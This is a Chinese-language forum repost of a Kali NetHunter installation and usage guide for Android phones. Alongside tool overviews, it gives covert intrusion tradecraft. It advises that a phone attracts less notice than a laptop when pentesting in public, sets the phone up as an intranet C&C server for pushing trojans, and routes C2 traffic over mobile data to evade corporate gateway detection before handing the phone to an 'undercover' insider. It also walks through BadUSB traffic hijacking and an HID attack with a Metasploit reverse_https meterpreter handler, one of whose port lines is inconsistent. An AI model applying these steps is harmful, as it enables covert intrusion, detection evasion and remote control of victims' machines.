安装 Kali NetHunter (完整版、精简版、非root版)、实战指南、ARM设备武器 ...

守听  金牌会员 | 2024-6-19 22:34:12 | 来自手机 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题

主题 552|帖子 552|积分 1656

From:https://www.kali.org/docs/nethunter/
NetHunter 实战指南:https://www.vuln.cn/6430
乌云 存档:https://www.vuln.cn/wooyundrops


1、Kali NetHunter


Kali NetHunter 简介

Net(网络),hunter(猎人)、Kali NetHunter 是基于 Kali Linux 且免费开源的移动设备的渗出测试平台,实用于 Android 设备。运行的原理是 Android手机的 Chroot 方式。现在 Kali Nethunter 可以安装在任何已经​ Root 的手机上,而且不用自己编译内核。
为什么选 Nethunter ?
   因为它不仅便于携带,而且在一些公共场所(如阛阓)做一些渗出测试的时候,不容易引起注意。如果你拿个电脑或树莓派去渗出,那肯定百分百的转头率,搞欠好还得在看守所里让人家教育一顿,所以,便携隐蔽的移动渗出工具 Nethunter 就酿成首选。
  NetHunter 有3个版本,但是 root 版本的功能最多最强 (能用 root 就用 root 方式安装)


  • NetHunter Rootless:无需 root,实用于 无 root 设备。
  • NetHunter Lite:精简版,完整的NetHunter软件包,实用于没有自定义内核的 root 手机。
  • NetHunter:完整版,完整的NetHunter软件包,实用于支持自定义内核的 root 手机。
官方博客中说 Nethunter Rootless 最多只有85%的威力,带 root、第三方 recovery 和 Kali 定制内核的完整版 Nethunter 才气发挥 100% 的威力。3个版本功能上的差异:

两个 root 版本都提供了额外的工具和服务。 自定义内核可以通过添加额外的网络和 USB 小工具驱动程序以及对所选 wifi 芯片的 wifi 注入支持来扩展该功能。Kali NetHunter app 在两个 root 版本(NetHunter Lite 和 NetHunter)中都可用。除了 Kali Linux 中包含的渗出测试工具外,NetHunter 还支持 HID 键盘攻击BadUSB 攻击Evil AP MANA 攻击等等。

Kali NetHunter 的核心包含


  • Kali Linux容器,包含Kali Linux提供的所有工具和应用程序
  • Kali NetHunter App Store提供数十款专门构建的安全应用程序
  • Android客户端访问 Kali NetHunter 应用商店
  • Kali NetHunter桌面体验(KeX)可运行完整的Kali Linux桌面会话,支持通过HDMI或无线屏幕投射进行屏幕镜像
通过专用客户端app或Web界面访问 NetHunter App Store:https://store.nethunter.com/
关于 NetHunter 可以检察 NetHunter Components 。NetHunter 是 Kali 和社区开发的开源项目。

NetHunter 支持的设备 和 ROM

NetHunter Lite 可以安装在所有已 root 并具有自定义 recovery 功能的 Android 设备上。完整版本的 NetHunter 需要专门为 Kali NetHunter 构建的特定内核的设备。


  • 官方每季度发布的 NetHunter 镜像列表:Kali NetHunter Images
  • NetHunter支持的内核列表:Kali NetHunter Kernels
  • NetHunter内核统计:Kali NetHunter Kernel Statistics
什么是镜像文件?
   由于历史缘故原由,已往的体系安装文件都是以光盘的情势发布的,光盘具有镜面属性,将光盘上的文件专用格式提取出来的文件格式称之为镜像文件,后缀.iso或.img,因此iso文件默认就是体系安装包。
  什么是镜像站点?
   镜像站点就是官方软件源的克隆,有可能不是实时的。镜像站点大多都是大学教育网提供的多,比如清华软件源,中科大软件源等等。
  什么是 linux 发行版?
   大抵上讲,发行版=linux+GNU+定制化的应用程序,有两类闻名的发行版,debian 和 redhat ,新kali发行版基于debian,旧版的kali基于ubuntu发行版,而ubuntu基于debian。debian的定制化的应用程序软件文件后缀.deb,redhat 的定制化的应用程序软件文件后缀.rpm。如果kali下的定制化的应用程序没有你要的软件,也可以在debian中找到安装到kali。
  什么是软件源?
   软件源,简称源。源就是软件堆栈,包含镜像文件,定制化的应用程序等等,windows体系上安装软件是自行去应用软件官网下载安装,linux下安装截然差别,采用源的方式在线安装,每个发行版都维护自有的软件源,软件源中的应用程序是发行版官方维护的,来自于应用软件官网中的,发行版官方将它们网络到了一起。比如kali源中包含nmap的最新版本的软件。这样做的好处 就是极大的方便了所需专用软件的安装过程,一条命令就搞定。kal源的网址是 体系镜像 https://cdimage.kali.org,应用程序 http://http.kali.org/
  
Kali 资助 文档

   官网 资助:Kali Docs | Kali Linux Documentation
  What is Kali Linux & Kali's features
  Installing Kali Linux on desktops & laptops using ".ISO" files (x64/x86)
  VMs- VMware, VirtualBox, Hyper-V, Parallels, Proxmox & Vagrant
  Portable Kali on a USB drive/key/stick
  Everything about ARM devices
  Docker, Podman, & LXD
  Windows Subsystem for Linux
  AWS, Azure, Digital Ocean, & Linode
  Kali on your Android phone
  Misc. Everything else. Post install.
  Tools inside of Kali
  For when things go wrong
  How to get involved with Kali
  Kali around the world- Offering support to all
  
Kali Tools

官网所有工具列表:Kali Tools | Kali Linux Tools


选择 Linux 桌面情况

这三个是最受欢迎的 Linux 桌面情况,


  • GNOME - 提供功能最丰富的桌面体验(建议在物理机上安装时使用它)
  • KDE - Windows 用户经常发现这种更相似的计划和结构(建议在物理机上安装时使用它)
  • Xfce - 更少的资源需求,提供最快的体验,因为它被计划为“最小功能”(建议在 VM 中安装时使用它)

怎样使用 某个 工具



  • 方法 1:man <tool>
  • 方法 2:<tool> -h 或者 <tool> --help
  • 方法 3:在工具文档上搜索: tool’s documentation page on the Kali Linux site
  • 方法 4:查找工具的官方文档


2、安装 完整版(NetHunter)


设备设置 "开发者模式":设置 ---> 关于 ---> 点击 "内部版本号" 7次,收到已启用开发职员模式的关照。返回主设置页面,将看到一个标题为 "开发职员选项" 。点击进入,然后启用 "高级重启" 和 "Android调试" 选项。
虽然 NetHunter 安装过程已经尺度化,但是 手机的 "解锁,root、自定义recovery" 的步骤因设备而异,乃至因Android版本而异。 保举 recovery 使用 TWRP。 root 使用 Magisk。
Android 9、10 和 11 的重要提示:请确保在安装 NetHunter 之前革新 Universal DM-Verity、ForceEncrypt Disabler 并格式化数据分区。 Magisk 不支持加密数据分区上的用户上下文更改,如果数据分区已加密,则在通过 ssh 连接到 Kali rootfs 时会导致错误(即“所需密钥不可用”)。

下载 NetHunter

下载 NetHunter:https://www.kali.org/get-kali/#kali-platforms

安装 NetHunter

在 root 后的 Android 上安装 NetHunter


  • 解锁 Android 设备并将体系刷机成为 stock AOSP 或者 LineageOS (CM)
  • 安装 Team Win Recovery 作为自定义 Recovery
  • 安装 Magisk 用来 root 设备
  • 如果 TWRP 无法访问数据分区,则可能需要禁用强制加密。
  • 刷完自定义 recovery,剩下的就是 flash 下载的 NetHunter安装程序zip文件到 Android 设备。
将 NetHunter 镜像文件传输到手机上,在 recovery 模式下重新启动,然后在手机上刷入zip 包。完成后,重新启动手机进入体系,首次先点击 Nethunter 这个 app,申请的所有权限都给,左侧导航进入Kali Chroot Manager,点击 START KALI CHROOT 初始化。初始化成功后就启动成功了。

Home 是主页面,除了 Offensive Security 的 Banner,还可以获取当前IP(内网/外网)地址。
Kali Launcher 整合了四个启动器:


  • 终端打开一个Kali Shell
  • 终端打开Kali NetHunter Menu
  • 终端打开Wifite进入无线破解
  • 更新Kali NetHunter(执行sudo -c bootkali update)
对于 NetHunter 服务开关控制,是在 Kali Service Control 面板里进行设置。服务有SSH、Dnsmasq、Hostapd、OpenVPN、Apache、Metasploit 及 BeEF FrameWork 等。


  • SSH服务:Secure Shell,方便其他设备连接控制
  • Dnsmasq服务:DNS解析服务
  • Hostapd服务:提供无线接入点服务
  • OpenVPN服务:开放OpenVPN连入服务
  • Apache服务:WEB服务
  • Metasploit服务:为MSF攻击模块提供保障
  • BeEF FrameWork服务:XSS使用框架服务
其他设备的安装方式:


  • 在 Gemini PDA 上安装 NetHunter
  • 在OnePlus 7上安装NetHunter
  • 在 TicWatch Pro 上安装 NetHunter
  • 在 TicWatch Pro 3 上安装 NetHunter
NetHunter 终端 app 答应打开3种终端:chroot Kali 终端,尺度Android终端、root Android终端。


安装成功后

设置



  • 打开 NetHunter app 并启动 Kali Chroot Manager。
  • 根据需要从NetHunter商店安装任何其他应用程序。
  • 设置 Kali 服务,如 SSH。
  • 设置自定义命令。
  • 初始化毛病使用数据库。
保举安装的 APP

完成体系刷入后,要丰富NetHunter原装工具,可以下载部门安卓APP以配合。
   中文输入法:作为一个英语刚合格,这个还是必备的。Gboard、搜狗输入法、QQ输入法
  文件管理器 (如 RootExplorer、MT 管理器):Kali 某些操作需要 Root 权限的文件管理器
  v2ray、clash、ShadowSocks 等。梯子还是要有的
  MiTM工具:
                zANTI2:虽为贸易化限制部门功能,但使用体验的确好些.
                dSploit:曾经很着名
                lanmitm:国内安全工作者编写发布的工具
                Intercepter-NG:嗅探工具 
                Network Spoofer:自带许多 调戏/欺骗 功能
  IPTools:常见根本网络工具集合
  

  ChangeHostname:修改当前手机主机名HostName(还是有须要的)
WiGLE wifi:War Driving工具,网络无线热点信息,可生存到本地数据库.
SQLiteEditor:方便读取数据库信息
Hacker’s KeyBoard:NetHunter自带,便于输入各种控制字符
远程桌面:NetHunter自带,便于连接VNC服务
DriveDroid:NetHunter自带,将手机内镜像模拟为启动盘
  解锁完整 linxu 操作体系

ARM 设备武器化指南:https://www.anquanke.com/post/id/205455
打开 Nethunter 应用,选择 Kali Services,勾选 RunOnChrootStart,并打开右侧开关:

把 SSH 和 APACHE2 都安排上,那么远控和网页服务器就一起都有了,可以作为内网的 cc服务器 ( C&C服务器、C&C攻击:https://blog.csdn.net/laowu8615/article/details/78181032 ),下发一些木马或热补丁之类。"C&C服务器" 其全称为 "command and control server"

到此,就拥有完整版的 apt 和 htop

通过手机的 type-c接口,连接:


  • 一个有线网口接有线网络
  • 一个USB
  • 一个无线网卡

   执行命令:lsusb
  # lsusb
Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
Bus 001 Device 005: ID 0951:1643 Kingston Technology DataTraveler G3
Bus 001 Device 004: ID 0bda:8153 Realtek Semiconductor Corp. RTL8153 Gigabit Ethernet Adapter
Bus 001 Device 003: ID 0bda:8176 Realtek Semiconductor Corp. RTL8188CUS 802.11n WLAN Adapter
Bus 001 Device 002: ID 0bda:5411 Realtek Semiconductor Corp. 4-Port USB 2.0 Hub
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
  可见全部辨认出来了,而且在有线网络上获得了192.168.0.7的IP地址。

存储的U盘也没有问题:

扫描 无线网:iwlist wlan0 scanning

根本上拥有了比力完整的 Linux 功能。

WIFI连内网,CC走流量逃逸

一样平常情况下,手机开启流量,npc 肯定是通过流量连接cc的这一点毋庸置疑。
通过手机流量卡直接将数据传出去可以绕过内网网关,实现流量逃逸。
如果手机同时开启WIFI连接内网之后,npc必定是通过WIFI网络连接cc服务器的,这样就容易被内网网关检测到。不管做的多么隐蔽,总归要从企业网关出去。
如果可以让npc单独走手机卡流量,其余还是跟正常手机一样,该去bilibili看宅舞,还是正常追剧、炒股、聊QQ还是与正常流量无异,实现最大程度的伪装,这样的设想可否实现呢?
其实是可以的,只需要在wlan0的路由表中,单独加一条指定cc的IP的定向静态路由即可。
注意,这个加一条路由不是简单的一条命令加到体系里就行,得先了解下现代安卓手机的路由体系的内部架构。
从Android5.0之后,思量要对多网络的支持,安卓采用了多路由表,在同一时间下,Android体系可以允许多网络类型连接,而且并不是简单的网络共存,而是每个网络有一套自己的DNS,网关,路由表。比如eth0,wlan0,手机流量卡会分别有自己独立的一套。
这样应用层在创建Socket连接的时候,可以自由选择使用哪套网络来完成现实的哀求。这里还涉及到另一个新的概念差别网络的标识netid,应用层可通过绑定指定的netid来设置该应用走指定的网络,此处感爱好可以去网上搜索,可以搜到许多与netid相关的代码。
在Android 5.0之前,在同一时间下,Android体系只能答应一种网络类型连接。之后在多网络的情况下,体系是怎样选择的呢?这就需要引入一个关键名词——策略路由,详细资料各人可以在网上搜索。最终我们在策略路由的基础上,更改路由表wlan0,添加单条静态路由。
理论知识有了之后,接下来就是动手实践。
首先来的得到我的一些情况的地址:

手机流量卡出口地址:112.192.13.128
小区出口地址:223.166.231.xxx
手机流量卡的内部IP是:10.53.237.30
手机WIFI的内部IP是:192.168.5.28
看看手机中都有哪些默认路由:
# ip route show table 0 |grep default
default dev dummy0  table dummy0  proto static  scope link 
default via 192.168.5.1 dev wlan0  table wlan0  proto static 
default via 10.53.237.29 dev rmnet_data0  table rmnet_data0  proto static 
unreachable default dev lo  proto kernel  metric 4294967295  error -101
unreachable default dev lo  proto kernel  metric 4294967295  error -101
unreachable default dev lo  proto kernel  metric 4294967295  error -101
default dev dummy0  table dummy0  proto static  metric 1024 
unreachable default dev lo  proto kernel  metric 4294967295  error -101
default via fe80::d545:7c38:5509:f2a0 dev wlan0  table wlan0  proto ra  metric 1024  expires 657sec
unreachable default dev lo  proto kernel  metric 4294967295  error -101
unreachable default dev lo  proto kernel  metric 4294967295  error -101
可以得到手机流量卡的路由器,也就是下一跳为10.53.237.29,正是通过该地址,去跳向cc。向路由表wlan0中增加指向VPS(cc)的单条静态路由:# ip route add table wlan0 118.126.XX.XXX via 10.53.237.29 dev rmnet_data0
添加完成后路由表 wlan0 是这样的:
# ip route show table wlan0
default via 192.168.5.1 dev wlan0  proto static
118.126.XX.XXX via 10.53.237.29 dev rmnet_data0
192.168.5.0/24 dev wlan0  proto static  scope link
也就是对于路由表wlan0来说,通向VPS(cc)时,是走10.53.237.29该IP作为下一跳的,通过rmnet_data0网卡设备。
末了来检查下效果怎样,手机播放VPS上的视频康康,确实是通过手机流量卡去访问该mp4的,实验成功!

末了来试下 npc,看看客户端ip表现的是多少:

可以看到还是手机流量卡的地址,手机其实是连着wifi的,可以看到curl ip.sb得到的还是小区出口IP。
而且使用增加单条静态路由的方式,是不会影响手机作为署理进行内网扫描所需的路由表wlan0的。
接下来就可以把手机配发给“卧底”,让他去连内网了,不管是无线网罗还是有线网络,都可以轻松应对。


NetHunter app 攻击和功能



  • Home Screen - 通用信息面板、网络接口和HID设备状态。
  • Kali Chroot Manager - 用于管理chroot元包安装。
  • Kali Services - 启动/制止各种 chroot 服务。在 boot 时启用或禁用它们。
  • Custom Commands - -将自己的自定义命令和函数添加到启动器。
  • MAC Changer - 更改您的Wi-Fi MAC地址(仅实用于某些设备)
  • KeX Manager - 使用Kali chroot设置即时VNC会话。
  • USB Arsenal - 控制USB小工具设置
  • HID Attacks - 各种 HID 攻击,Teensy 风格。
  • DuckHunter HID - Rubber Ducky 风格的 HID 攻击
  • BadUSB MITM Attack - Nuff said.
  • MANA Wireless Toolkit - MANA无线工具包。点击按钮,设置一个恶意的接入点
  • Bluetooth Arsenal - 蓝牙武器库。侦探,欺骗,听或注入音频到各种蓝牙设备。
  • Social Engineer Toolkit - 社会工程师工具包。创建自己的网络垂纶电子邮件模板的工具包。
  • MITM Framework - MITM框架。在运行中将二进制后门注入下载的可执行文件。
  • NMap Scan - NMap扫描。快速Nmap扫描仪界面。
  • Metasploit Payload Generator - -即时生成 Metasploit Payload。
  • Searchsploit - 搜索 毛病(exploits) 在 Exploit-Database.
重要模块及介绍如下:


  • home 选项:重要用来自定义一些命令,检察一些信息。比方:内核版本、busybox 版本、root 状态、hid 状态、网卡信息、外网 ip  等,可以自定添加、删除、移动 命令。
  • kali chroot manager:就是 kali linux 体系。启动后可以通过 vnc 链接,表现界面和 kali linux 一摸一样。
  • setting:重要就是 nethunter 的一些设置。重要设置 屏幕分辨率以及自适应屏幕、卸载 nethunter app、设置 boxybox 版本。
  • kali services:顾名思义,就是 kali 服务 ( kali chroot services ),可以 开始、制止 服务。重要服务有:ssh、apache2、postgresql、dnsmasq。也可以添加、删除自定义服务。   
  • custom commands:自定义命令。可以添加、删除 自定义命令。比方:更新 kali metapackages、开启wlan0为监听模式、关闭wlan0的监听模式、开启wlan1为监听模式
  • mac changer:改变 mac 地址。安卓10已经提供了随机 mac ,如果想自定义 mac,可以使用这个选项进行更改
  • kex manager:这个是 kali 桌面管理程序,通过这个程序,可以以 图形用户界面的方式访问 kali ( kali chroot manager )
  • USB arsenal:USB 武器库。
    Dictionary based brute force attack:主动输入字典一行内容并回车,基于HID,模拟操作方式的暴力破解
    deADBolt:执行一堆ADB命令可以推送隐私文件等信息到指定目次,参考项目主页 https://github.com/photonicgeek/deADBolt
  • HID 攻击:
  • duckhunter HID 
  • usb 中间人攻击
  • Wireless Attacks:无线工具
            Wifite:主动无线安全审计工具
            Kismet:无线WarDriving工具
            AP F**ker:无线网恶意攻击工具(多为拒绝服务)
            Wash:扫描开启WPS的无线网络
            Airodump-ng:根本无线攻击套件(必备)
            Pingen:针对某些开启WPS的D-link的路由器盘算其PIN码以破解
  • Exploit (毛病) Tools
        Metasploit:强大、核心、必备
        BeEF-XSS:XSS渗出测试工具,看个人风俗使用
        Social-Engineering-Toolkit:Kali下的SET,社会工程学套件,功能强大。
        MITMf:已制止更新,保举使用 Bettercap:https://github.com/bettercap/bettercap
  • Sniffing / Spoofing
        tcpdump:根本流量Dump工具
        tshark:WireShark的Cli工具,可抓取分析流量
        urlsnarf:Dsniff工具包一部门,可嗅探HTTP哀求包内容,并以CLF通用日记格式输出
        dsniff:强大的着名口令嗅探工具包
        MITMproxy:中间署理,可截获修改HTTP流量
  • Reverse Shells
        AutoSSH:通过 SSH 反弹 shell (NAT Bypass)
        pTunnel:通过 ICMP 数据包隧道传送数据
  • Info Gathering
        Spiderfoot:开源扫描与信息网络工具,对给定域名网络子域,Email地址,web服务器版本等信息,主动化扫描。
        Recon-ng:强大的信息网络工具,模块化,可惜许多插件国内不实用(有墙)。
        Device-pharmer:通过Shodan搜索,大数据Hacking。
  • Vulnerability Scan:OpenVas 毛病扫描器,好欠好用客长自行定夺。
  • OpenVPN Setup:OpenVPN 设置
  • VNC Setup:VNC 设置
  • Log/Capture Menu:可擦除本地所有抓取数据或同步到SD卡上(同步重要是办理权限问题。比如多数安卓APP未获得root权限是无法读取NetHunter工具截获的数据内容)
  • NFC Attack:提供了复制、重写、检察M卡数据功能(是不是不必带上 Acr122u 了)
  • Monitor Mode:启动或关闭wlan1(外置无线网卡)的稠浊监听模式
  • Eject USB Wifi:弹出USB无线网卡
  • WI-FI 渗出利器 Pineapple Nano ( :https://www.freebuf.com/sectool/196358.html ) "pineapple connector (菠萝连接器)、Nano、USB OTG电缆" 一起使用。
  • wardriving:字面意思是 "战役驾驶、驾驶攻击"。"驾驶" 是相称字面的。黑客驾驶汽车(或有时是其他车辆,如自行车)四处走动,配备特殊设备,可绘制出不安全的 Wi-Fi 网络。其实就是不断的改变位置信息进行攻击。在 NetHunter 的 Wireless 模块中 Kismet 作为 WarDriving 的默认工具,不外操作起来画面太美不敢看。在启动 kismet 之前,请确保您的无线接口处于监督器模式。由于监督器模式 QCACLD-3.0 驱动程序,也可以使用内部无线接口。
  • deauth:殒命认证,顾名思义,就是让别人的无线链接认证都失败从而无法上网。

BadUSB MITM 攻击

启用此 USB 模式会在插入目标盘算机时,会将 OTG USB 电缆的设备酿成网络接口,强制将 PC(Windows 或 Linux)的所有流量通过USB 电缆转到 NetHunter 设备,此中流量可以是 MitM'd。

插一个U盘黑一台电脑-Badusb最详细制作教程:https://cloud.tencent.com/developer/article/1544687
BadUSB Attack 是 BlackHat 大会上公布的一种较先进的USB攻击方式,模拟键盘操作等 Payload可主动执行某些操作,而 NetHunter 的 BadUSB MiTM Attack 则是此中一种玩法:修改网络设定,挟制网络流量。
操作过程如下:首先,确保手机连接目标盘算机时,MTP文件传输是关闭的。连接目标盘算机,打开手机USB网络共享。

此时在 NetHunter Home 打开一个 Kali Shell,检察网卡多出虚拟网卡rndis0(USB网络共享网卡)。

此时可以开启 Tcpdump 截获流量,命令:tcpdump -i rndis0
回到 NetHunter Home,切换到BadUSB MiTM Attack,勾选右上角选项 Start BadUSB Attack

被连接的盘算机此时会多出一个网卡,网关为rndis0的IP地址

此时流量已可以截获,比方访问某些网站,手机 tcpdump 处流量表现如图:

因为手机并未插入SIM卡,无网络,故PC机并无法得到返回页面。当出现双网关时,如果流量直接没有走向恶意网关(10.0.0.1)而是仍旧走的之前的网关(192.168.1.1)时挟制会失败。默认挟制后的网关优先级更高,故流量可以正常挟制并走向恶意网关。

配合HID Keyboard Attack进行攻击也是很好的方式,至于数据包的生存与分析则可自行发挥。

USB-Arsenal (USB 军械库)

Arsenal (军械库、兵工厂)。USB-Arsenal 是基于 USB 的攻击的控制中心。它用于使用 USB 功能选择器启用 USB 小工具模式:

如果启用了大容量存储小工具模式,则可以在将设备连接到盘算机的 USB 端口之前,将 .iso 和 .img 文件安装在映像挂载程序菜单中,然后将 NetHunter 视为安装了映像的 USB 驱动器:

如果启用了 RNDIS 小工具模式,则 USB 网络共享菜单可用于各种基于网络接口的攻击:


Bluetooth-Arsenal (蓝牙军械库)

Arsenal (军械库、兵工厂)。Bluetooth-Arsenal 是基于蓝牙的攻击的控制中心。点击菜单项,选择 "Bluetooth Arsenal",打开蓝牙菜单。在这里,可以启动和制止服务,启用接口,扫描可发现的设备。请注意,使用下一页中的Redfang,也可以找到未处于发现模式的设备。现在不支持 BLE。
在第一次运行:需要点击 "检查和安装" 在欢迎弹出安装依赖项。如果你将来需要设置或更新,可以随时使用右上角的选项菜单。
   OTG 可以使用各种设备上的USB口进行数据交换。办理了各种设备间差别制式的连接接口的数据交换未便的问题。也就是说,OTG重要应用于各种差别的设备(包括移动设备)间的联接,尤其是现在市面上琳琅满目的各种移动电子设备,比如平板电脑、移动电话、打印机、消费类电子设备等。现在市面上的智能手机上根本都支持OTG。
  鉴于设备接口及USB类型的不一致,一样平常OTG有如下几类:
  

  • USB2.0 OTG:包括Micro 5PIN OTG(常见安卓手机)、Mini 5PIN OTG(常见安卓平板)
  • Micro USB3.0 OTG:三星Note3、Galaxy S5等在2016年从前的安卓手机OTG接口
  • Type-C OTG:现在支持Type-C接口的设备(比如小米Mix系列等)
  • Lightning OTG:苹果手机专用OTG
  

  应用场景
  

  • 数据传输

  • 体系重做(刷机)。当手机或其他设备宕机后,可以使用OTG线将装有体系刷机包的U盘连接后加电重启后通过加载刷机包进行刷机。
  • 外接设备。比力常见的支持USB的设备均可通过OTG方式进行连接,常见的比如键盘、手机、游戏操作手柄等等。

  • 临时反向充电。当外出在外,有些小设备(手环、智能手表、MP3等)没有电时,可以通过使用支持反向充电的专用OTG线连接办机进行充电。
  主菜单
如果你尚未通过 OTG 连接您的蓝牙适配器,然后按革新图标将它们放在微调菜单中。 启用 dbus、蓝牙服务,并使用交换机启动适配器 (hci0)。如果选择第二个适配器 (hci1),请再次点击革新,然后使用接口开关调出该适配器。在微调器中选择扫描所需的接口。如果 10 秒不理想,请输入您的扫描时间。您已准备好扫描,请按“扫描设备”。如果找到任何,请点击它,以便将其选中以供以后使用。

工具

输入接口名称(如果使用多个适配器)。你可以通过点击 "USE SELECTED TARGET" 来粘贴选定的目标地址。
L2ping
   非常适合使目标的蓝牙堆栈瓦解,因此连接的设备可能会断开连接,可用于发现或攻击。修改大小,或根据需要计数。Flood ping 还增加了断开配对设备的可能性。反向 ping 发送回显响应而不是回显哀求。
  Redfang
   用于查找未处于配对模式的设备。输入目标范围,并根据需要修改日记文件路径。点击“HUNT FOR DEVICES”开始。
  Blueranger
   检察目标有多近。点击“CHECK PROXIMITY”开始。
  SDPtool
   检察目标并找到开放的服务。免提服务是我们脆弱的音频服务。点击“发现服务”开始。
  Spoof (恶搞、欺骗)

输入接口名称(如果使用多个适配器)。您可以通过点击“使用所选目标”来粘贴所选目标的地址、名称和类别,否则输入所需的修改。点击“应用”进行设置。也可以通过点击“检查”进行验证。
Carwhisperer

输入接口名称(如果使用多个适配器)。您可以通过点击“使用选定的目标”来粘贴选定的目标地址。如果目标的免提服务位于差别的频道上,请修改频道。选择模式:


  • Listen:将开始录制来自目标麦克风的音频。如果需要,请修改纪录文件名。
  • Inject:将选定的音频注入目标,因此它将在其扬声器上播放。输入或选择要注入的音频文件的路径。点击“LAUNCH”在终端中启动脚本。您可以使用 CTRL+C 在终端中杀死,也可以在应用程序中点击“杀死”。如果收听正在运行,播放按钮将开始在扬声器上实时流式传输,否则它将播放末了的灌音。请注意,制止按钮将制止播放,不支持暂停。
Bad Bluetooth

Server
输入您想要的键盘蓝牙接口、地址和名称以用于 BadBT 服务器。确保您的接口已启动并运行,包括 dbus 和蓝牙服务。点击“启动服务器”,它将在终端窗口中运行,准备接受来自目标客户端的传入连接。某些目标可能需要在终端中输入“是”才气进行配对过程。

Client
连接目标后,返回NetHunter应用程序,是时候发送一些字符串了,或者您可以使用交互模式(需要将物理键盘连接到手机)。对于发送字符串模式,您可以设置根本前缀,比方 Android Home、Browser、Windows CMD 等。请注意,这些模式是实验性的,可能会实现 HID Ducky 格式。准备就绪后,点击“发送”。

NetHunter Chroot Manager

NetHunter chroot 管理器可以下载和安装 Kali Linux chroot、备份和恢复 chroot,以及删除现有的 chroot。此外,还可以根据需要安装各种 Kali Linux 元包。

通常 "kali-nethunter" 元包包含运行 NetHunter 所需的一切,在磁盘空间不足时,可以仅在真正需要时添加额外的元包。如果磁盘空间富足,可以全部安装。

   什么是元包?元包英文 Metapackages,kali 为了方便管理将所有软件按用途进行了分类
  kali-tools-802-11
kali-tools-bluetooth
kali-tools-crypto-stego
kali-tools-database
kali-tools-exploitation
kali-tools-forensics
kali-tools-fuzzing
kali-tools-gpu
kali-tools-hardware
kali-tools-headless
kali-tools-information-gathering
kali-tools-passwords
kali-tools-post-exploitation
kali-tools-reporting
kali-tools-reverse-engineering
kali-tools-rfid
kali-tools-sdr
kali-tools-sniffing-spoofing
kali-tools-social-engineering
kali-tools-top10
kali-tools-voip
kali-tools-vulnerability
kali-tools-web
kali-tools-windows-resources
kali-tools-wireless
  安装命令比如 sudo apt install kali-tools-hardware 就安装了硬件黑客类的所有软件
  也大抵进行了分类:
  kali-linux-arm
kali-linux-core
kali-linux-default
kali-linux-everything
kali-linux-large
kali-linux-nethunter
  默认kali安装的是 kali-linux-core、kali-linux-default 两个包,并没有装全部,要装全部 sudo apt install kali-linux-everything。kali-linux-everything 包含有 kali-linux-large。
  
NetHunter Components(组件、组成)



  • 自定义 Android Kernel:自定义内核为每个设备提供了现有内核所不具备的独特功能。所有 NetHunter 内核都提供 HID(键盘到盘算机支持)、OTG 无线支持和 CDROM 仿真支持。此外,大多数内核还支持外部 SDR/蓝牙和“Y 型电缆充电”,这答应您在使用外部设备时为设备充电。如果您是高级 Android 用户,那么您将受益于每个内核中带有 KEXEC 补丁的 Multirom 支持。末了,内核提供了额外的补丁/修复程序,以消除添加外部无线设备可能导致的问题。
  • Kali Linux chroot:Kali Linux chroot 是 NetHunter 的核心,专门修改了设置文件以与 Android 生态体系很好地配合。您将获得两个 chroot 选项来下载或安装:minimal 或 full。最小的 chroot 大小略高于 100mb,是一个准体系的根本 Kali 操作体系,没有安装任何内容,非常适合开发职员或任何盼望自定义安装的人。完整的 chroot 是大多数用户想要下载的,大约有 600mb。完整的 chroot 具有与 Android 应用程序集成所需的一切。
  • NetHunter Android 应用程序:NetHunter 应用程序提供了一个简单的界面来管理 Kali Linux chroot,是一个简单但功能强大的 GUI。Android 应用程序包含首次运行时复制到 SD 卡的所有设置文件。它还充当启动服务,并将在设备启动时运行您选择的服务。此外,Android 应用程序答应您更轻松地与一些预选应用程序进行交互,比方:MANA、MPC、VNC、DuckHunter、HID 攻击等等。最新版本乃至包括一个自定义命令构建器,让您可以轻松地将您喜欢的自定义命令添加/删除到 NetHunter。

NetHunter 自定义命令

NetHunter Android 应用程序的一个很酷的功能是可以大概添加您自己的自定义命令和功能。比方,如果您进行大量 Wi-Fi 工作,则为 Wifite 添加一个自定义按钮是故意义的,该按钮将启动相应的脚本。或者,如果您需要快速克隆 mifare 卡,您可以制作一个按钮来执行具有所需参数的 mfoc 命令。此选项卡附带了一些预设置的自定义命令作为示例。


NetHunter DuckHunter 攻击

DuckHunter HID 选项答应您快速轻松地将 USB Rubber Ducky 脚本转换为 NetHunter HID 攻击格式。您可以从“示例预设”菜单中选择一个选项,也可以从 Duck Toolkit 站点上的更多预设置脚本中进行选择。


Exploit (毛病) 数据库

Exploit Database SearchSploit:毛病数据库中搜索毛病。通过 SearchSploit 窗口,你可以根据所选条件轻松地在 The Exploit Database 存档中搜索条目。一旦找到了一个感爱好的毛病,你可以选择在线检察它,乃至在本地编辑它,根据你的特定目标进行定制。


HID 键盘攻击

NetHunter HID KeyBoard Attack 将您的设备及其 OTG USB 电缆酿成预编程键盘,可以大概键入任何给定的命令。从前,只有“Teensy”类型的设备才气做到这一点......但现在不再是了!这种攻击通常效果很好。但是,如果它变得无响应,只需从菜单中选择重置 USB 即可革新 USB 堆栈。

示例:在已往,USB自启每每依赖插入的USB设备中的autorun.inf实现.时下这招每每不灵,而新兴的USB HID Attack则成为新的安全威胁.USB HID可通过模拟键盘或鼠标操作,实时执行目标代码,在此以PowerSploit结合MSF为例:首先运行提供payload的webserver,在 Kali Service Control中开启Apache 服务器

转到 HID 攻击设置页面,选择 PowerSploit

IP和端口填写MSF监听的IP端口,Payload 这里选择 windows/meterpreter/reverse_https,URL 为提供 Apache 服务的IP,这里即本机:192.168.1.151 。设置好后UPDATE设置文件,接下来需设置MSF监听反弹shell
   [email protected]:~# msfconsole -q
msf > use exploit/multi/handler
msf exploit(handler) >
  payload 同 HID 设置页面中的 payload
   msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https
PAYLOAD => windows/meterpreter/reverse_https
  IP 和 端口 同样设置
   msf exploit(handler) > msf exploit(handler) > set LHOST 192.168.0.17
LHOST => 192.168.0.17
msf exploit(handler) > set LPORT 4444
LPORT => 443
msf exploit(handler) > exploit
  
  • Started HTTPS reverse handler on https://0.0.0.0:4444/

  • Starting the payload handler...
      至此设置 OK

    开始监听

    此时将设备连接至PC机,等待设备被辨认后,执行 Execute,攻击开始。POWERSHELL 命令执行后,就可在 msf 中看到反弹的 shell 了。

